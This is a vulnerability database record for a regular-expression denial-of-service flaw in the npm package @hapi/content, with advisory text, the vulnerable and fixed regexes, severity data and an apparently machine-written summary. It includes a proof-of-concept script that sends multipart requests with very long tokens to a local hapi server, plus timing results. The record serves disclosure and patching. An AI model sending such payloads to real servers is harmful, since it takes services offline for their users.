{"id":"CVE-2026-119202","aliases":["GHSA-8494-f6mr-cjpv"],"title":"@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service","titleSource":"GitHub_M","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"### Summary\n\n`Content.disposition()` takes quadratic time when a `Content-Disposition` parameter contains a long token without `=`. One unauthenticated multipart request can block the Node.js event loop for several minutes.\n\n### Details\n\n`Content.disposition()` reads the parameters with a global regular expression in `String.prototype.replace()`:\n\n```js\n/([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;'\"\\s]+\\'[\\w-]*\\'[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))/g\n```\n\nThe parameter name part `([^\\=\\*\\s]+)` has no anchor. When a run of name characters has no `=` after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.\n\n`@hapi/pez` calls `Content.disposition()` on the header of every part in a `multipart/form-data` body. In hapi, this occurs on each route with `payload.multipart` enabled, before the route handler and before any validation. The only size limit is the route `payload.maxBytes`, which is 1 MB by default.\n\nThe fix adds an alternative that matches the full run of name characters when no `=` follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.\n\n```js\n/([^\\=\\*\\s]+)(\\*)?\\s*\\=\\s*(?:([^;'\"\\s]+\\'[\\w-]*\\'[^;\\s]+)|(?:\\\"([^\"]*)\\\")|([^;\\s]*))|[^\\=\\*\\s]+/g\n```\n\nEvery release from `3.0.6` (published as `content`) up to and including `@hapi/content` `6.0.2` is affected.\n\nWorkarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low `payload.maxBytes` on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.\n\n### Proof of concept\n\nInstall `@hapi/hapi` with `@hapi/content` `6.0.2`, then run:\n\n```js\nconst Hapi = require('@hapi/hapi');\nconst Net = require('net');\n\nconst attack = (port, n) => new Promise((resolve) => {\n\n    const body = `--x\\r\\nContent-Disposition: form-data; name=\"f\"; ${'a'.repeat(n)}\\r\\n\\r\\nv\\r\\n--x--\\r\\n`;\n    const req = `POST /upload HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nContent-Type: multipart/form-data; boundary=x\\r\\nContent-Length: ${Buffer.byteLength(body)}\\r\\nConnection: close\\r\\n\\r\\n${body}`;\n    const start = process.hrtime.bigint();\n    let res = '';\n    const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));\n    socket.on('data', (chunk) => res += chunk);\n    socket.on('close', () => resolve(`${n} byte token  HTTP ${res.split(' ')[1]}  ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));\n});\n\n(async () => {\n\n    const server = Hapi.server({ host: '127.0.0.1', port: 7001 });\n    server.route({\n        method: 'POST',\n        path: '/upload',\n        options: {\n            auth: false,\n            payload: { multipart: { output: 'data' }, parse: true }\n        },\n        handler: () => ({ ok: true })\n    });\n\n    await server.start();\n    for (const n of [32000, 64000, 128000]) {\n        console.log(await attack(7001, n));\n    }\n\n    await server.stop();\n})();\n```\n\nWith `@hapi/content` `6.0.2`, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:\n\n```text\n32000 byte token  HTTP 200  0.424 s\n64000 byte token  HTTP 200  1.670 s\n128000 byte token  HTTP 200  7.173 s\n```\n\nThe reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default `payload.maxBytes`.\n\nWith `@hapi/content` `6.0.3`:\n\n```text\n32000 byte token  HTTP 200  0.011 s\n64000 byte token  HTTP 200  0.003 s\n128000 byte token  HTTP 200  0.004 s\n1024000 byte token  HTTP 200  0.013 s\n```\n\n### Impact\n\nThis is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to `Content.disposition()`. An unauthenticated attacker sends one upload request of normal size, and the Node.js process stops answering all clients for seconds to minutes. A small number of these requests keeps the service unavailable.","severity":"high","score":7.5,"published":"2026-10-29T20:24:17.210Z","modified":"2026-10-30T23:15:04.478Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"npm","name":"@hapi/content","sources":[{"name":"OSV · GHSA-8494-f6mr-cjpv","url":"https://osv.dev/vulnerability/GHSA-8494-f6mr-cjpv"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"6.0.3"}],"type":"SEMVER"}],"versions":[],"fixed":["6.0.3"]},{"ecosystem":"npm","name":"content","sources":[{"name":"OSV · GHSA-8494-f6mr-cjpv","url":"https://osv.dev/vulnerability/GHSA-8494-f6mr-cjpv"}],"ranges":[{"events":[{"introduced":"3.0.6"},{"last_affected":"4.0.6"}],"type":"SEMVER"}],"versions":[],"fixed":[]}],"sourceAffected":[],"references":["https://github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpv","https://github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fd","https://github.com/hapijs/content/releases/tag/v6.0.3","https://nvd.nist.gov/vuln/detail/CVE-2026-119202","https://github.com/hapijs/content"],"sources":[{"name":"CVE","id":"CVE-2026-119202","modified":"2026-10-29T20:24:17.210Z","url":"https://www.cve.org/CVERecord?id=CVE-2026-119202"},{"name":"OSV","id":"GHSA-8494-f6mr-cjpv","modified":"2026-10-30T23:15:04.478267588Z","url":"https://osv.dev/vulnerability/GHSA-8494-f6mr-cjpv"}],"assessments":[{"source":"GitHub_M","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5}],"cve":{"records":[{"id":"CVE-2026-119202","source":"GitHub_M","state":"PUBLISHED","reasons":[],"replacements":[],"disputed":false,"unsupportedWhenAssigned":false,"reserved":"2026-10-29T16:04:48.728Z","published":"2026-10-29T20:24:17.210Z","modified":"2026-10-29T20:24:17.210Z"}],"publishers":[{"name":"GitHub_M","role":"CNA","organizationId":"a0819718-46f1-4df5-94e2-005712e83aaa","modified":"2026-10-29T20:24:17.210Z"}],"references":[{"url":"https://github.com/hapijs/content/security/advisories/GHSA-8494-f6mr-cjpv","tags":["x_refsource_CONFIRM"],"source":"GitHub_M"},{"url":"https://github.com/hapijs/content/commit/0993851dc7234976a3fce3a7c31662b213c940fd","tags":["x_refsource_MISC"],"source":"GitHub_M"},{"url":"https://github.com/hapijs/content/releases/tag/v6.0.3","tags":["x_refsource_MISC"],"source":"GitHub_M"}],"weaknesses":[{"id":"CWE-1333","description":"CWE-1333: Inefficient Regular Expression Complexity","source":"GitHub_M"}],"applicability":[],"prioritization":[]},"products":[{"vendor":"hapijs","name":"content","platforms":[],"versions":[{"version":"< 6.0.3","status":"affected"}],"cpes":[],"source":"GitHub_M","url":"https://www.cve.org/CVERecord?id=CVE-2026-119202"}],"remediation":[],"observedAt":"2026-10-30T23:33:18.539Z","kev":{"status":"not-listed","checkedAt":"2026-10-31T14:00:31.626Z"},"coverage":[{"source":"NVD","status":"available","checkedAt":"2026-10-29T21:20:32.913Z","attemptedAt":"2026-10-29T21:20:32.913Z"},{"source":"GHSA","status":"no-result","checkedAt":"2026-10-29T21:20:32.899Z","attemptedAt":"2026-10-29T21:20:32.899Z"},{"source":"EUVD","status":"available","checkedAt":"2026-10-29T21:20:32.915Z","attemptedAt":"2026-10-29T21:20:32.915Z"},{"source":"EPSS","status":"no-result","checkedAt":"2026-10-29T21:20:32.599Z","attemptedAt":"2026-10-29T21:20:32.599Z"}],"evidence":[{"source":"NVD","id":"CVE-2026-119202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119202","modified":"2026-10-29T21:17:19.217","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","checkedAt":"2026-10-29T21:20:32.913Z"},{"source":"ENISA EUVD","id":"EUVD-2026-113373","url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-113373","modified":"Oct 29, 2026, 8:24:17 PM","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","checkedAt":"2026-10-29T21:20:32.915Z"}],"aiSummary":{"text":"@hapi/content versions 3.0.6 to 6.0.2 are affected by a denial of service vulnerability due to quadratic-time parsing of Content-Disposition parameters. An unauthenticated attacker can send a single multipart request to block the Node.js event loop for seconds to minutes. The vulnerability affects hapi servers with routes that accept multipart payloads.","model":"@cf/meta/llama-3.3-70b-instruct-fp8-fast","generatedAt":"2026-10-31T00:11:05.871Z","sources":[{"name":"CVE","url":"https://www.cve.org/CVERecord?id=CVE-2026-119202"},{"name":"OSV","url":"https://osv.dev/vulnerability/GHSA-8494-f6mr-cjpv"}]}}